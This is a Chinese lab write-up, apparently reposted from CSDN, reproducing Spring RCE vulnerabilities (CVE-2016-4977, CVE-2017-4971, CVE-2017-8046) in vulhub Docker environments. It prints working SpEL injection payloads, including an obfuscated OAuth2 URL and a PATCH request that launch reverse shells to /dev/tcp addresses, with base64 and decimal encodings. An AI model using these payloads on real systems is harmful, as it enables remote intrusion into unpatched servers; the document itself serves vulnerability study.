vulhub漏洞复现-Spring

Spring

Spring一个主流的JavaWeb开发框架

思路

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞


SpringSecurityOauth RCE (CVE-2016-4977) 分析与复现

在已知的漏洞点使用poc生成的语句去打

Spring Security OAuth2 (CVE-2016-4977)远程命令执行漏洞在这里插入图片描述

漏洞复现

docker部署环境后,访问:8080端口
在这里插入图片描述对应的漏洞点就在

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

尝试执行,登陆使用admin:admin
在这里插入图片描述
返回结果
在这里插入图片描述

尝试修改命令为反弹shell,这里需要base64加密然后经poc.py执行

shellbase64加密

在这里插入图片描述

vulhub自带的poc

在这里插入图片描述

http://your-ip:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
&client_id=acme&scope=openid&redirect_uri=http://test

Spring(CVE-2017-4971)远程代码执行漏洞

在这里插入图片描述

思路

在订阅图书处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。
其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:

(1)binder节点为空;

(2) useSpringBeanBinding 默认值(false)未修改。

由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)
CVE-2017-4971:Spring WebFlow 远程代码执行漏洞分析

漏洞复现

docker部署环境后访问:8080,点击左上角login后使用提供的用户名密码登陆
在这里插入图片描述
登陆成功后找到Find Hotels
在这里插入图片描述
看一个Hotel
在这里插入图片描述

这里注意密码要16位数字,不然没法下一步

在这里插入图片描述
确定时抓包
在这里插入图片描述
在这里插入图片描述

&_(new+java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.__.__/端口号 0>&1")).start()=vulhub

Spring Data Rest(CVE-2017-8046)远程命令执行漏洞复现

Spring Data REST

Spring Data REST是Spring Data项目的一部分,可以在Spring Data存储库之上构建超媒体驱动的REST Web服务,简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现

思路

Spring Data REST对PATCH方法(区分PATCH与PUT、POST方法 )处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE。
Spring-Data-REST-RCE复现分析【CVE-2017-8046】

漏洞复现

docker部署环境,访问:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{
    
     "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
这是将每个字符转为对应的十进制,可以通过下面的python代码进行转换:

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

发送包后,后台查看是否执行命令

docker ps  
docker exec -it <id> /bin/bash

在这里插入图片描述

尝试反弹shell

bash -i >& /dev/tcp/192.168.__.__/1234 0>&1

bashshellbase64编码

bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ll9fLl9fLzEyMzQgMD4mMQ==}|{
    
    base64,-d}|{
    
    bash,-i}

进制转换:

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,71,74,104,99,50,103,103,76,87,107,103,80,105,89,103,76,50,82,108,100,105,57,48,89,51,65,118,77,84,65,117,77,84,65,117,77,84,65,117,77,84,65,118,78,122,99,51,78,121,65,119,80,105,89,120,89,65,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

替换掉touch /tmp/success对应的payload,重新发送数据包。

Spring Messaging(CVE-2018-1270)远程命令执行漏洞

在这里插入图片描述

思路

问题出在SpEL的StandardEvaluationContext。攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
CVE-2018-1270,CVE-2018-1273:Spring Expression Language 漏洞分析
这个cve太乱了

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/121046345